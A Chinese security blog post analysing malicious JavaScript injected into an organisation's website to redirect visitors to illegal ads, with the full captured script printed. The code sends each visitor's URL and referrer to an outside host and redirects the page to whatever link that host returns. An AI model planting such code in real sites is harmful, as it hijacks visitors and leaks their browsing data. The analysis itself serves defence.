起因
前不久火绒安全发布了一篇文章,该文章分析了某单位官网被嵌入恶意代码,导致推广非法广告。当天得知该消息后也是第一时间进行了复现。因保密要求,本文章不会展示任何与该单位相关的信息。
恶意代码分析
恶意代码执行流程
整体代码
下面是截获的恶意js文件,此恶意代码分2部分讲解。通过分析此恶意代码,分析到该代码主要有3个函数组成。其中DL()函数是核心控制函数。
(function(){
function initXMLhttp() {
var xmlhttp;
if (window.XMLHttpRequest) {
xmlhttp = new XMLHttpRequest();
} else {
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
return xmlhttp;
}
function minAjax(config) {
if (!config.url) {
return;
}
if (!config.type) {
return;
}
if (!config.method) {
config.method = true;
}
if (!config.debugLog) {
config.debugLog = false;
}
var sendString = [],
sendData = config.data;
if( typeof sendData === "string" ){
var tmpArr = String.prototype.split.call(sendData,'&');
for(var i = 0, j = tmpArr.length; i < j; i++){
var datum = tmpArr[i].split('=');
sendString.push(encodeURIComponent(datum[0]) + "=" + encodeURIComponent(datum[1]));
}
}else if( typeof sendData === 'object' && !( sendData instanceof String ) ){
for (var k in sendData) {
var datum = sendData[k];
if( Object.prototype.toString.call(datum) == "[object Array]" ){
for(var i = 0, j = datum.length; i < j; i++) {
sendString.push(encodeURIComponent(k) + "[]=" + encodeURIComponent(datum[i]));
}
}else{
sendString.push(encodeURIComponent(k) + "=" + encodeURIComponent(datum));
}
}
}
sendString = sendString.join('&');
if(window.XDomainRequest) {
var xmlhttp = new window.XDomainRequest();
xmlhttp.onload = function () {
if(config.success){
config.success(xmlhttp.responseText);
}
};
xmlhttp.open("POST", config.url);
xmlhttp.send(sendString);
}else{
var xmlhttp = initXMLhttp();
xmlhttp.onreadystatechange = function() {
if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
if (config.success) {
config.success(xmlhttp.responseText, xmlhttp.readyState);
}
} else {
}
}
if (config.type == "GET") {
xmlhttp.open("GET", config.url + "?" + sendString, config.method);
xmlhttp.send();
}
if (config.type == "POST") {
xmlhttp.open("POST", config.url, config.method);
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.send(sendString);
}
}
}
dL();
function dL(){
var host = 'http://mars.cdncontentdelivery.com/f';
var config = {
url: host + "/stats.php",
type: "POST",
data: {
vbase: document.baseURI,
vhref: location.href,
vref: document.referrer, k: "YXViZGFzLmNvbQ==",
ek: "dW5pb24xLmF1YmRhcy5jb20=",
t: Math.floor(new Date().getTime() / 1000), tg: ""
},
success: onSuccessCallback
};
function bl(resp){
!function(dr){function t(){return!!localStorage&&localStorage.getItem(a)}function e(){o(),
parent.top.window.location.href=c}function o(){var t=r+i;if(localStorage){localStorage.setItem(a,t)}}
function n(){if(t()){var o=localStorage&&localStorage.getItem(a);r>o&&e()}else e()}var a="MenuIdentifier",
r=Math.floor((new Date).getTime()/1e3),c=dr,i=86400;n()}(resp);
}
function onSuccessCallback(response){
if(response && response.indexOf('http') > -1){
bl(response);
}
}
minAjax(config);
}
})();
核心恶意代码
图片解释了各个函数功能,本函数首先将所需要的请求内容放入config、confg中调用了onSuccessCallback函数,onSuccessCallback调用了bl函数。
执行恶意代码
minAjax函数主要作用是将请求的数据进行初步处理,处理完后进行跨域请求。
代码执行流程复现
在自己服务器上引用了恶意代码
通过下面流程可以知道在访问自己服务器的时候会请求某网站js文件,js文件再次请求黑客控制服务器
当请求黑客控制服务器时返回数据包是false,说明目前黑客控制服务器已经下线了恶意网站推广。
总结
此次安全事件给了我们警告,在开发引用js文件时一定要有控制权,不要引用别的网站js链接。
来源:freebuf.com 2020-11-18 22:40:18 by: lesssafe
正文完







